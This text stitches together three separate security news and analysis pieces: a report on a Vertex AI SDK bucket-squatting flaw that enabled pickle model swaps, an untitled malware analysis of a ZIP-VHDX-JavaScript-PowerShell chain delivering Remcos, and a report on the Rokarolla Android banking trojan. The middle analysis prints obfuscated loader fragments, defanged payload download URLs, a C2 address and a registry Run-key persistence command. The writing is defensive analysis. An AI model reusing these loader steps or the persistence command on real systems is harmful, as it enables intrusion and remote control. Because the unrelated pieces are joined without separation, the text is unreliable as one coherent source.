Swati KhandelwalJun 16, 2026Machine Learning / Cloud Security

A flaw in the Google Cloud Vertex AI SDK for Python let an attacker with no access to a victim’s project hijack the victim’s machine learning model upload and run code inside Google’s serving infrastructure.

Palo Alto Networks Unit 42, which found and reported the bug through Google’s bug bounty program, calls the technique “Pickle in the Middle” and said it saw no exploitation in the wild. Google has patched it; if you use the SDK, update to version 1.148.0 or later.

The attacker needed only a Google Cloud project of their own and the victim’s project ID, which is often public. No credentials, no phishing, no foothold in the target.

The flaw was in how the SDK chose a temporary Cloud Storage bucket for model uploads. If a user did not set a bucket, the SDK generated a predictable name from the project ID and region, such as project-vertex-staging-region. It checked whether that bucket existed, but not whether the victim owned it.

Because bucket names are globally unique, an attacker could create the expected bucket first in their own project. The victim’s SDK would then upload the model files to the attacker’s bucket. The attacker could then replace the uploaded model with a malicious one.

Many Python ML models are saved with pickle or joblib, which can run code when a file is loaded. When Vertex AI later loaded the swapped model, the attacker’s code executed inside the serving container.

The attack depended on speed. Unit 42 measured about 2.5 seconds between the victim’s upload and Vertex AI reading the file. In its proof of concept, the attacker used a Cloud Function that triggered after upload and replaced the model in 1.4 seconds, before Vertex AI read it.

The payload then stole an OAuth token from the serving container’s metadata server and sent it to the attacker. In Unit 42’s test environment, that token was not limited to the compromised deployment. It could access other model artifacts in the same Google-managed tenant project, including a full TensorFlow model with trained weights, as well as BigQuery metadata, access lists, tenant logs, GKE cluster names, and internal container image paths.

The attack worked only under specific conditions: the victim’s default staging bucket did not already exist in that region, and the victim left the staging_bucket parameter unset. The first is common for a new project in Vertex AI in a region.

The second depends on the developer relying on the SDK’s default rather than naming their own bucket.

Unit 42 reported the flaw through Google’s Vulnerability Reward Program on March 5, 2026. It tested versions 1.139.0 and 1.140.0, the latest available at the time, and found both vulnerable.

Google shipped an initial fix in v1.144.0 on March 31, adding a random uuid4 to the bucket name. It completed the fix in v1.148.0 on April 15, adding bucket ownership verification to block bucket squatting in Model.upload(). As of publication, neither Unit 42 nor Google’s Vertex AI security bulletins list a CVE for the issue.

Update to 1.148.0 or later so the ownership check is active. Also, set an explicit staging_bucket to a Cloud Storage location you control when uploading models. Because the flawed logic lives in the client SDK, check the google-cloud-aiplatform version wherever it runs, including notebooks, CI jobs, and training pipelines, not only production services.

It is the second predictable-bucket-name flaw to surface in Vertex AI this year. Google patched CVE-2026-2473 in February, a separate bucket-squatting bug in Vertex AI Experiments that also allowed cross-tenant code execution, model theft, and poisoning.

Unit 42’s earlier work on Vertex AI’s default service-agent permissions traced a related path from a deployed AI agent into customer and tenant data.

Yesterday, a reader reported to us a malicious ZIP archive (SHA256: a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094[1]). Once unzipped, it contains a VHDX file that discloses a malicious JavaScript after being mounted (which is automatic on modern Windows OSs):

Two different techniques to hide the payload help to bypass most first-line security controls. Using a disk image as a “malware container” has been used multiple times in the past[2] but seemed to be less used these days. That’s why I decided to have a look at the JavaScript (SHA256:f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33[3]) with a low VT score (only 5/57). Called “Partnerschaft_fur_neue_Angebotsanfrage.js” (“Partnership for new quotation request”), it probably targets German speaking victims. It contains three stages to deliver the last piece of malware.

In the first stage, the JavaScript (obfuscated and hidden in many comments) will launch a PowerShell script through WMI:

WbemScripting.SWbemLocator → ConnectServer() → Win32_Process.Create()

This technique helps to bypass EDR solutions as well as classic detection rules that monitor parent-child relationships in processes. JavaScript → WMI → PowerShell is less suspicious than a direct relation JavaScript → PowerShell.

The PowerShell script is reconstructed from many strings concatenations and stored in “%LOCALAPPDATA%\Tamale”:

 

Fdselsdatoen = Fdselsdatoen + "bubbleFFBVM0lNDgMWDREb' 1;$filmproducbubblentbubblers=otidiform 'DQsSABgGBw0lCBgM';$flygtningbubblelandsbybubbler=otidiform 'bRcOBwcCHw0NC";
Fdselsdatoen = Fdselsdatoen + "BoOChwPCTpKQQgdBQsZEQ4QHAwLDxgsFhZAPQcQBggEXE0JAgUJIBcAAFhNFRwAAgEFCgAVADBN';$succulbubblently=$pritchbubblel;otidiform 'bQMJARYIClMTExEa";
Fdselsdatoen = Fdselsdatoen + "DRcVCTsNBAIYEFdYW1xcPQodFUEZBREGVE0VHAACAQUKABUAME0=' 1;whilbubble (!$prbubblesbytbubblerially118) {otidiform 'bQMJARYIClMwFREfCgoOHi";
...

The string “bubble” pollutes the code and is removed during execution..

This second stage PowerShell reconstructs strings by picking every 4th character from garbage strings. There is a function “otidiform” that decrypts Base64-encoded strings with the XOR key “Identificational” (always the same key across all the scripts). Example:

otidiform 'bQMJARYIClMWDxIAHAYNBSIBWDU1ChIAFQAABh0zW1YKFgAPAAwvBxAVFQcMC0lILwsXAxEHA0A=' 1

Returns:

$global:unfishlike=[Activator]::CreateInstance($formene)

The script downloads the next stage from:

hxxps://cembusconfort[.]ro/Exoticisms121.dsp

and saves it to %APPDATA%\Endocoel.Pro.

This file (SHA256:9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1[4]) looks interesting. When you have a first look at it, it seems to be encrypted. The classic behavior is to XOR and encode in Base64 the payload. Here it’s a bit different, the next stage script has been appended at the end of the file. The payload is extracted by carving the interesting code with:

.substring(143578, 20305)

Once extracted the stage 3 is executed and use the first part of the file as payload (the first 143577 bytes). This stage is a PowerShell reflective .Net loader (classic behaviour) using System.Reflection.Assembly.Load(). The shellcode will fetch the malware itself from:

hxxps://cembusconfort[.]ro/YoHtJ27.bin

The malware will be injected in a process “backgroundTaskHost.exe” and communicates with the C2 server:

animal342[.]duckdns[.]org:53552

The traffic has been identified by my sanbox as Remcos, a pretty common RAT.

Or course, persistence is configured via a Run key that executes the PowerShell loader:

C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Statskirken% -windowstyle 2 $Lnforhandlinger=(.'gp' 'HKCU:\Software\Weaverbird\').'Pardonnerer';%Statskirken% ($Lnforhandlinger)"

Most of the files used in this infection path remain undetected by most AVs. Here is the complete infection path:

Email → ZIP → VHDX → JavaScript → PowerShell Decoder → PowerShell (.Net Loader) → Shellcode (Downloader) → Remcos

[1] https://www.virustotal.com/gui/file/a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094

[2] https://isc.sans.edu/diary/obama224+distribution+Qakbot+tries+vhd+virtual+hard+disk+images/29294

[3] https://www.virustotal.com/gui/file/f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33

[4] https://www.virustotal.com/gui/file/9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1/content???????

Xavier Mertens (@xme)

Xameco

Senior ISC Handler – Freelance Cyber Security Consultant

PGP Key

Swati KhandelwalJun 16, 2026Mobile Security / Malware

Security researchers at Zimperium’s zLabs have documented a new Android banking trojan, Rokarolla, that targets 217 banking and cryptocurrency apps and packs 137 remote commands.

Together, they give an operator near-total control of an infected phone: it lifts lock-screen PINs, reads and sends SMS, rewrites the clipboard to redirect crypto payments, and switches off Google Play Protect.

Rokarolla, named after its command-and-control servers, spreads through malicious websites posing as well-known apps such as TikTok and Chrome.

The first thing a victim installs is a dropper that pretends to be Google Play Protect. It uses that disguise to get the payload installed and grab Accessibility access. Once the malware is running, one of its commands turns Play Protect off.

The theft runs through overlays. Rokarolla pulls a target list from its server, and for each app flagged active, it downloads a fake HTML login page and stores it in a local database. When the victim opens the real banking or wallet app, the malware drops the fake page on top and captures everything typed into it, card details included.

The report shows one such fake page mimicking the banking app ‘imagin.’ A separate overlay mimics the Android lock screen to capture the PIN, pattern, or password, which lets the operator control the phone even while it is locked.

It reads every SMS on the device and can send messages itself, which is enough to grab the SMS one-time codes banks use to approve logins and transactions. By making itself the phone’s default app for texts and calls, it can also block incoming calls, so a warning call from the bank never gets through.

A keylogger and screen logger record what the user types and sees, and the trojan scrapes contacts and reads notifications. The clipboard gets rewritten silently, swapping in attacker wallet addresses so a copied crypto payment lands in the wrong account.

For surveillance, Rokarolla skips the usual MediaProjection screen casting, which throws a visible recording prompt, and instead takes screenshots through Accessibility, compresses them to PNG, and ships them out one frame at a time. That snapshot approach is simpler and quieter than the live hidden VNC seen in families like Klopatra.

The malware carries multiple fallback C2 domains and can be handed new ones on the fly, so pulling a single server does little. It’s 137 commands outnumber the 107 Zimperium counted in the HOOK trojan, and the playbook is the same one running through a wave of 2026 Android bankers: fake-app droppers, Accessibility abuse, and HTML overlays.

There is no patch to apply here. This is malware, not a product flaw, so the defenses are the standard ones for Android bankers. Install apps only from Google Play, leave Play Protect on, and treat any unexpected Accessibility request as a red flag, since that one permission drives the whole attack chain.

Zimperium says its own products detect the family, and the indicators of compromise are in its GitHub repository.

Zimperium did not tie Rokarolla to a named group. What the build shows is intent: a banker put together to beat the exact protections users are told to rely on, from Play Protect down to the lock screen.